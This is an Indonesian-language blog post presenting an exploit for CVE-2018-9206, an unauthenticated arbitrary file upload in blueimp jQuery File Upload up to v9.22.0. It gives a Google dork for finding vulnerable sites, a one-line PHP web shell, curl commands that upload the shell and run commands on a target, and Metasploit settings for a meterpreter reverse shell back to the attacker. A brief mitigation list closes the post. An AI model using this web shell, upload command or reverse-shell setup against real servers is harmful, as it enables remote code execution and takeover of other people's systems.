Exploit jQuery File Upload (≤ v9.22.0) - Unauthenticated Arbitrary File Upload - MainSec

Rabu, 29 Januari 2025

Exploit jQuery File Upload (≤ v9.22.0) - Unauthenticated Arbitrary File Upload

 


# Title: jQuery-File-Upload 9.22.0 - Arbitrary File Upload
# Author: Larry W. Cashdollar, @_larry0
# Date: 2018-10-09
# Google Dork: inurl:/jquery-file-upload/server/php/
# Vendor: https://github.com/blueimp
# Download Site: https://github.com/blueimp/jQuery-File-Upload/releases
# CVE: CVE-2018-9206

Blueimp jQuery File Upload adalah plugin open-source populer untuk mengunggah file melalui AJAX. Plugin ini banyak digunakan di berbagai aplikasi web karena kemudahannya. Namun, versi <= 9.22.0 memiliki kelemahan keamanan yang memungkinkan penyerang untuk mengunggah file berbahaya tanpa autentikasi.

Penyebab Kerentanan

File UploadHandler.php dalam plugin ini tidak memiliki mekanisme validasi file yang ketat. Contohnya pada bagian kode berikut:

'accept_file_types' => '/.+$/i',
        

Regex /.*$/i mengizinkan semua jenis file, termasuk .php, .phtml, dan .php5, sehingga memungkinkan arbitrary file upload yang berujung pada remote code execution (RCE).

Eksploitasi

Persiapan

Penyerang hanya perlu mengunggah file PHP shell sederhana, seperti berikut:

<?php system($_GET['cmd']); ?>
        

Cara Eksploitasi

1. Gunakan curl untuk mengunggah file backdoor:

curl -F "files=@shell.php" http://target.com/jQuery-File-Upload/server/php/
        

Jika berhasil, file akan diunggah ke direktori /files/.

2. Jalankan perintah di server melalui backdoor:

curl "http://target.com/jQuery-File-Upload/server/php/files/shell.php?cmd=id"
        

Payload Metasploit

Eksploitasi juga bisa dilakukan menggunakan Metasploit:

use exploit/unix/webapp/jquery_file_upload
set RHOSTS target.com
set TARGETURI /jQuery-File-Upload/server/php/
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT 4444
exploit
        

Cara Mencegah Eksploitasi

Jika menggunakan versi lama, segera lakukan langkah-langkah berikut:

  • Update ke versi terbaru dari jQuery File Upload.
  • Batasi ekstensi file yang diizinkan dengan menyesuaikan konfigurasi sebagai berikut:
'accept_file_types' => '/\.(gif|jpe?g|png)$/i',
        
  • Validasi MIME Type sebelum menyimpan file.
  • Gunakan autentikasi untuk membatasi akses upload.